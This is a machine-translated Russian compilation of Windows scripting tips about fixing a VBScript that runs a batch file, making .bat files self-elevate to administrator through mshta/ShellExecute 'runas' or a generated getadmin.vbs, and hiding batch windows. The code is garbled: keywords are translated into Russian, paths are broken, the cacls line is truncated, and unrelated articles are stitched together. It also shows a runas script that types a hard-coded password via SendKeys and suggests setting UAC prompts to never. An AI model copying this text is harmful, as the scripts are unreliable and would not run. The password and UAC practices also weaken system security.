    Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ тСстируСтС ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ошибок, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π½Π΅Ρ‚ Π² VBScript. ВмСсто этого Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Err ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:

     Ссли Err.Number <> 0, Ρ‚ΠΎ
        WScript.Echo "error" & Err.Number & ":" & Err.Description
        Err.Clear
        'Π·Π°Ρ‚Π΅ΠΌ WScript.Quit ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости
    ΠΊΠΎΠ½Π΅Ρ†, Ссли
     

    Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ Π΄Π²Π°ΠΆΠ΄Ρ‹ создаСтС objNetwork ΠΈ colDrives, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ WshNetwork ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· Ρ‡Π΅Ρ€Π΅Π· Ρ†ΠΈΠΊΠ» сСтСвой ΠΊΠ°Ρ€Ρ‚Ρ‹. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ экзСмпляр objNetwork ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΏΠΎΠ²ΡΡŽΠ΄Ρƒ.

    Π§Ρ‚ΠΎ касаСтся запуска вашСго ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°, пСрвая ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ я Π²ΠΈΠΆΡƒ, Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ WSHShell, Π½ΠΎ Π½ΠΈΠ³Π΄Π΅ Π΅Π³ΠΎ Π½Π΅ создаСтС.Β«ΠŸΡ€ΠΈ ошибкС Π²ΠΎΠ·ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉΒ» подавлял ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΠΎ этому ΠΏΠΎΠ²ΠΎΠ΄Ρƒ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ эту строку послС создания colDrives:

     ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ WSHShell = CreateObject ("WScript.Shell")
     

    ΠŸΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ синтаксис для запуска ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°:

     WSHShell.Run "c: \ prt.bat", 1, True
     

    Π³Π΄Π΅ 1 ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, Π° True ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ Π΅Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ. Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CMD.EXE для Π΅Π³ΠΎ запуска ΠΈΠ»ΠΈ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ.

    ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ этот простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€.Π‘Π½Π°Ρ‡Π°Π»Π° создайтС test.bat:

    БАШ

     @ эхо Π²Ρ‹ΠΊΠ».
    echo "это test.bat!"
    ΠŸΠ°ΡƒΠ·Π°
     

    Π—Π°Ρ‚Π΅ΠΌ Π² этой ΠΆΠ΅ ΠΏΠ°ΠΏΠΊΠ΅ создайтС runtest.vbs:

     ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ WSHShell = CreateObject ("WScript.Shell")
    WSHShell.Run "test.bat", 1, True
     

    Π”Ρ€ΡƒΠ³ΠΎΠ΅ Π΄Π΅Π»ΠΎ, Π²Ρ‹ запускаСтС ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ скрипта Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ†ΠΈΠΊΠ»Π° for сСтСвой ΠΊΠ°Ρ€Ρ‚Ρ‹ 1, Π½ΠΎ Π·Π°Ρ‚Π΅ΠΌ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚Π΅ скрипт Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Ρ†ΠΈΠΊΠ»Π°. ВмСсто этого Π²Ρ‹ просто Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Π·ΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ элСмСнт ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΈ NIC1, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ IP-адрСс, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ сцСнария.Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚Π°ΠΊΡƒΡŽ β€‹β€‹ΠΏΠ΅Ρ‚Π»ΡŽ:

     для каТдого Nic в NIC1
        Ссли Nic.IPEnabled, Ρ‚ΠΎ
            StrIP = Nic.IPAddress (i)
            arrIPAddress = Π Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ (StrIP, ".")
            школа = arrIPAddress (1)
    
            Π²Ρ‹Ρ…ΠΎΠ΄ для
    
        ΠΊΠΎΠ½Π΅Ρ†, Ссли 'NIC Π²ΠΊΠ»ΡŽΡ‡Π΅Π½
    ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ 'NIC
     

    Π•ΡΡ‚ΡŒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π²Π΅Ρ‰ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ, Π½ΠΎ эти исправлСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ.

    АвтоматичСски Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» bat ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈ администратора (VBS ΠΈ bat)

    Однако ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Π΅ сцСнарии Π½Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈ администратора.ΠžΠ±Ρ‹Ρ‡Π½ΠΎ я Π½Π°Π·ΠΎΠ²Ρƒ сцСнарий Β«XXXXXXΒ» (Ρ‰Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡ‹ΡˆΠΈ, запуститС ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈ администратора!). Bat Β», Π½ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ это ΠΏΡ€ΠΈΠ³Π»Π°ΡˆΠ΅Π½ΠΈΠ΅ ΠΈ запустят Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ. Π’ настоящСС врСмя скрипт Π½Π΅ запускаСтся ΠΈΠ·-Π·Π° нСдостаточных Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ.

    ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π³ΠΈΠ±ΠΊΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄, Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ запуск Π»Π΅Ρ‚ΡƒΡ‡Π΅ΠΉ ΠΌΡ‹ΡˆΠΈ, сначала Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ сцСнарий vbs, Ρ‡Π΅Ρ€Π΅Π· сцСнарий vbs, ΠΊΠ°ΠΊ администратор, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ запуск ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ Π»Π΅Ρ‚ΡƒΡ‡Π΅ΠΉ ΠΌΡ‹ΡˆΠΈ

    Наш скрипт ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ написан ΠΏΠΎΠ΄ runas, поэтому Π½Π°ΠΆΠΈΠΌΠ°Π΅ΠΌ скрипт bat ΠΈ запускаСм ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈ администратора

    ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π° выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ

      @ECHO Π’Π«ΠšΠ›.
    setlocal EnableDelayedExpansion
    Ρ†Π²Π΅Ρ‚ 3e
    Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡŽ слуТбы
     
    PUSHD% ~ DP0 ΠΈ cd / d "% ~ dp0"
    % 1% 2
    mshta vbscript: createobject ("shell.application ").  shellexecute ("% ~ s0 "," goto: runas "," "," runas ", 1) (window.close) & goto: eof
    :Π±Π΅Π³ΠΈ ΠΊΠ°ΠΊ
     
    :: Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ свой собствСнный скрипт
     
    Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ эха Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΎ, любая клавиша для Π²Ρ‹Ρ…ΠΎΠ΄Π°
     
    ΠΏΠ°ΡƒΠ·Π°> ноль
    Π²Ρ‹Ρ…ΠΎΠ΄  

    VBS запускаСт bat2 с ΠΏΡ€Π°Π²Π°ΠΌΠΈ администратора

      Π£ΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ objShell = CreateObject (Β«WScript.ShellΒ»)
    strPath = Replace (WScript.ScriptFullName, имя Ρ„Π°ΠΉΠ»Π°, ")
    objShell.Run (Β«runas / ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ: администратор» & strPath & Β«cmd.BatΒ»)
    WScript.Sleep 1000
    objShell.SendKeys Β«ΠΏΠ°Ρ€ΠΎΠ»ΡŒ {ENTER}Β»
    WScript.Π‘ΠΎΠ½ 1000  

    ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: runas Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹

    Π’ сцСнарии bat Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ с ΠΏΡ€Π°Π²Π°ΠΌΠΈ администратора

    УстановитС Π·Π°ΠΏΠΈΡΠ°Π½Π½ΡƒΡŽ Π»Π΅Ρ‚ΡƒΡ‡ΡƒΡŽ ΠΌΡ‹ΡˆΡŒ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΠ½Π° Π½Π΅ запускаСтся ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈ администратора, поэтому Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ ΠΏΡ€ΠΈ запускС

    ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго: Ссли ΠΎΠΊΠ½Π° Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΡΠ²Π»ΡΡ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ администратора, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ сначала Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ

    ΠœΠ΅Ρ‚ΠΎΠ΄ закрытия Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠΊΠ½ΠΎ подсказки отобраТаСтся Ρ‚Π΅ΠΌΠ½Ρ‹ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ ΠΏΡ€ΠΈ появлСнии подсказки. Π’ подсказкС ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ настройки Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π°, Ρ‰Π΅Π»ΠΊΠ½ΡƒΡ‚ΡŒ ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ для Π½Π΅Π³ΠΎ Π½ΠΈΠΊΠΎΠ³Π΄Π° ΠΈΠ»ΠΈ Π½Π΅ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ

    Π—Π°Ρ‚Π΅ΠΌ просто Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° Π² Ρ„Π°ΠΉΠ». Π‘Ρ†Π΅Π½Π°Ρ€ΠΈΠΉ bat для запуска ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈ администратора

    Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ Π² ΠΏΠ΅Ρ€Π²ΡƒΡŽ строку Ρ„Π°ΠΉΠ»Π° сцСнария bat:

    :: Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ администратора Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ

     
    % 1 mshta vbscript: CreateObject («Shell.Application»). ShellExecute («cmd.exe», «/ c% ~ s0 ::», «», «runas», 1) (window.close) && exit  

    Как CMD / Bat ΠΌΠΎΠΆΠ΅Ρ‚ автоматичСски Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ администратора, Π½Π΅ щСлкая ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡ‹ΡˆΠΈ администратора

    ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΊΠΎΠ΄:

      @ эхо Π²Ρ‹ΠΊΠ».
    > nul 2> & 1 "% SYSTEMROOT% \ system32 \ cacls.)> "% temp% \ getadmin.vbs"
    echo UAC.ShellExecute "% ~ s0", "", "", "runas", 1 >> "% temp% \ getadmin.vbs"
    "% temp% \ getadmin.vbs"
    Π²Ρ‹Ρ…ΠΎΠ΄ / B
    : gotAdmin  

    ΠŸΡ€ΠΈΠ½Ρ†ΠΈΠΏ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ:

    Доступ ΠΊ ΠΏΠ°ΠΏΠΊΠ΅, Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰Π΅ΠΉ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (% systemroot% \ system32 / config / system)

    Если Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ, ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΏΡ€Π°Π²Π° администратора

    Если ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ΄Π°Ρ‚ΡŒ заявлСниС Π½Π° Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅.

    ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΏΠΎΠ΄Π°Ρ‡ΠΈ заявлСния Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ:

    (см. Код эха)

    Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π±Π΅Π³ΡƒΠ½, запуститС ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ (ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ — это ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ для запуска ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ) Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅ с ΠΏΡ€Π°Π²Π°ΠΌΠΈ администратора.

    Π’ΠΎΠ³Π΄Π° СстСствСнно ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ Π°Π΄ΠΌΠΈΠ½Ρƒ. Π’Π°Ρƒ, здСсь прСдставлСна β€‹β€‹ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎ VBS-Ρ„Π°ΠΉΠ»Π΅ с автоматичСским запуском ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ (BAT) ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈ администратора. Для получСния Π±ΠΎΠ»Π΅Π΅ подходящСго администратора, Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‰Π΅Π³ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ поиск Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… developeppaer ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΡΡ‚Π°Ρ‚ΡŒΠΈ Π½ΠΈΠΆΠ΅. Π― надСюсь, Ρ‡Ρ‚ΠΎ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ Π²Ρ‹ смоТСтС большС ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ²!

    Π‘ΠΊΡ€Ρ‹Ρ‚ΡŒ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹ΠΉ ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сцСнария Visual Basic

    Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ с практичСскими рСкомСндациями проста ΠΈ ΠΏΠΎ сущСству.Π’ этом постС Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ Π² скрытом Ρ€Π΅ΠΆΠΈΠΌΠ΅. Часто Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ скрытыС ΠΊΠΎΠΌΠ°Π½Π΄Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΡ… Π² бСзопасности; Π½Π΅ Π·Π°ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΏΠΎ ошибкС. Π― помню, ΠΌΠ½ΠΎΠ³ΠΎ Π»Π΅Ρ‚ Π½Π°Π·Π°Π΄, ΠΊΠΎΠ³Π΄Π° я Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ зашСл Π½Π° ΡΠ΅Ρ€Π²Π΅Ρ€Π½ΡƒΡŽ ΠΌΠ°ΡˆΠΈΠ½Ρƒ Π² своСм офисС, ΠΌΠΎΠΉ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€ попросил мСня Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ Π½Π΅ Π·Π°ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠΊΠ½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки Π½ΠΈ ΠΏΠΎ ΠΊΠ°ΠΊΠΎΠΉ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ прилоТСния Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ»ΠΈΡΡŒ Ρ‡Π΅Ρ€Π΅Π· эти ΠΊΠΎΠΌΠ°Π½Π΄Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ Π² производствСнной срСдС. НС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ это, Π½ΠΎ Π±Ρ‹Π»ΠΈ Π²Π΅Π΄ΠΎΠΌΡ‹Π΅ ΠΌΠ°ΡˆΠΈΠ½Ρ‹ Jenkin, сСрвСры рСгистраторов основного ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π° ΠΌΠΎΠ΅ΠΉ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ, telnet ΠΈ нСсколько Π΄Ρ€ΡƒΠ³ΠΈΡ… экзСмпляров, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ Π½Π° основС этих ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ², поэтому ΠΏΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ я сдСлал, это заставил Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ эти Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹Π΅ ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ Π² скрытый Ρ€Π΅ΠΆΠΈΠΌ (ΠΎΡ‚ случая ΠΊ ΡΠ»ΡƒΡ‡Π°ΡŽ ΠΎΠ½ мСняСтся ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ), поэтому доступ ΠΊ Π½ΠΈΠΌ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΡ‹Π΅ люди, ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ этих сСрвСров Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ΅Π½Π΅Π΅ ΠΎΠ±Ρ€Π΅ΠΌΠ΅Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ.

    ΠŸΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹? — Π·Π°Ρ‡Π΅ΠΌ я ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽ?

